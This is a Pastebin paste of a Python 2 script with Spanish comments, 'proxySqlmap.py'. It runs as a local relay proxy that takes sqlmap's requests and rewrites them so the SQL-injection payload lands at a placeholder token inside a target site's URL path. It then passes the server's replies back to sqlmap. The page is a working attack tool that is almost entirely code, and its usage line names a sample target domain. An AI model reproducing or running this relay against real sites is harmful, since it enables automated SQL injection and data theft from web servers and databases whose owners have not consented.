Advertisement
Guest User

proxySqlmap.py

a guest
Feb 10th, 2012
272
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 3.84 KB | None | 0 0
  1. #!/usr/bin/python
  2. # -*- encoding: utf-8 -*-
  3.  
  4. #####################################################################################
  5. ## python proxySqlmap.py 4345 .php?injectando= http://www.vulnerables.com.ar/carpeta1/identificador1/identificador2{fuck}/archivo.rar
  6. ######################################################################################
  7.  
  8. import socket
  9. import sys
  10. import time
  11.  
  12.  
  13. puerto = 0
  14. param  = ""
  15. token  = "{fuck}"
  16. lista  = []
  17.  
  18. #funcion que cambia la injeccion.
  19. def swapping( http_header ):
  20.     pet  = "GET "
  21.     tmp  = ""
  22.     tmp  = http_header.split("\r\n")[0]
  23.     print "++++++++++++ SWAPPING *****************"
  24.     print tmp
  25.     tmp  = tmp.split(param)[1]
  26.     tmp  = tmp.split(" HTTP/")
  27.     pet += lista[2].split(token)[0]
  28.     pet += tmp[0]
  29.     pet += lista[2].split(token)[1]
  30.     pet += " HTTP/"+tmp[1]
  31.     tmp  = http_header.replace( http_header.split("\r\n")[0] , pet)
  32.     return tmp.replace( "Host: 127.0.0.1:"+str(puerto)+"\r\n" , "Host: "+lista[1]+"\r\n")
  33. #validamos la cantidad de parametros.
  34. if len(sys.argv) != 4:
  35.     print "Error, Faltan Argumentos .."
  36.     print "python repetidor.py <puerto> <param> <url> \n"
  37.     exit(0)
  38.  
  39. #validamos que los datos sean del tipo correspondiente.
  40. try:
  41.     puerto = int(sys.argv[1])
  42.     param  = str(sys.argv[2])
  43. except:
  44.     print "Error al parsear los parametros !!"
  45.     exit(0)
  46.  
  47. #validamos el token.
  48. if not(token in str(sys.argv[3])):
  49.     print "Fanta el token en la url '"+token+"'"
  50.     exit(0)
  51.  
  52. #destripamos la URL y metemos en la lista los datos.
  53. tmp = str(sys.argv[3]).split("/")
  54.  
  55. if not(tmp[0] in ("http:","https:")):
  56.     print "Error, debe ingresar el protocolo http o https !!"
  57.     exit(0)
  58.  
  59. #Guardamos el puerto de conexion y el host a conectar.
  60. #lista[0] => puerto
  61. #lista[1] => host
  62. #lista[2] => data
  63. lista.append((str(80),str(443))["https" in tmp[0]])
  64. lista.append(tmp[2])
  65. data = ""
  66.  
  67. for dt in range(3,len(tmp)):
  68.     data += "/"+tmp[dt]
  69. print "---- "+data+" ----"
  70. lista.append(data)
  71.  
  72. #nos conectamos al servidor.
  73. serv_test = socket.socket()
  74. cont = 0
  75. while cont < 4:
  76.     try:
  77.         serv_test.connect((str(lista[1]),int(lista[0])))
  78.     except:
  79.         print "Error al conectar al servidor."+"("+str(cont)+")"
  80.         cont += 1
  81.         time.sleep(3)
  82.         continue
  83.     break
  84.  
  85. if cont == 3:
  86.     print "No pudo realizar la conexion al Host!!."
  87.     exit(0)
  88.  
  89. print "Conectados... Inicie la conexion con sqlmap. "
  90. print str(lista)
  91.  
  92. #una vez conectados, nos ponemos a la escucha para realizar la conexion con sqlmap.
  93. server = socket.socket()
  94. server.bind(("localhost",int(sys.argv[1])))
  95. server.listen(20);
  96. cliente = server.accept()
  97.  
  98. while True:
  99.     buff_cliente = ""
  100.     buff_server  = ""
  101.     buff         = ""
  102.  
  103.     buff_cliente = str(cliente[0].recv(9024)) #recibo la data de sqlmap.
  104.     if buff_cliente != "":
  105.         print "+++++++++++ [CLIENTE] +++++++++++++"
  106.         print buff_cliente
  107.         scc = swapping(buff_cliente)
  108.         print "+++++++++++ [ENVIAR] +++++++++++++"
  109.         print scc
  110.         serv_test.send(scc)    #proceso la data y la envio al servidor correspondiente.
  111.         buff  = serv_test.recv(9024)       #recibo la respuesta del servidor.
  112.         while len(buff) > 0:
  113.             buff_server += buff
  114.             buff = serv_test.recv(9024)
  115.             print "reciviendo : " + buff
  116.  
  117.         print "+++++++++++ [SERVIDOR] +++++++++++++"
  118.         print buff_server
  119.         print len(buff_server)
  120.         cliente[0].send(buff_server)              #envio la data a sqlmap.
  121.         print "////////////////// DATA ENVIADA ///////////////////"
  122.         try:
  123.             cliente = server.accept()
  124.             serv_test.close()
  125.             serv_test = socket.socket()
  126.             serv_test.connect((str(lista[1]),int(lista[0])))
  127.         except:
  128.             print "Error , intente denuevo mas tarde !!"
  129.     time.sleep(2)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement